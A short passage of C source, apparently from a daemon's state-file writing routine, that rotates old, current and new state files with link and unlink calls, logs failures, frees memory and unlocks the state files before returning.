			debug3("unable to create link for %s -> %s: %m",
			       state_file, old_file);
		(void) unlink(state_file);
		if (link(new_file, state_file))
			debug3("unable to create link for %s -> %s: %m",
			       new_file, state_file);
		(void) unlink(new_file);
	}
	xfree(old_file);
	xfree(state_file);
	xfree(new_file);

	unlock_state_files();
	debug4("done writing time %ld", (long)last_ran);
	free_buf(buffer);

	return error_code;
}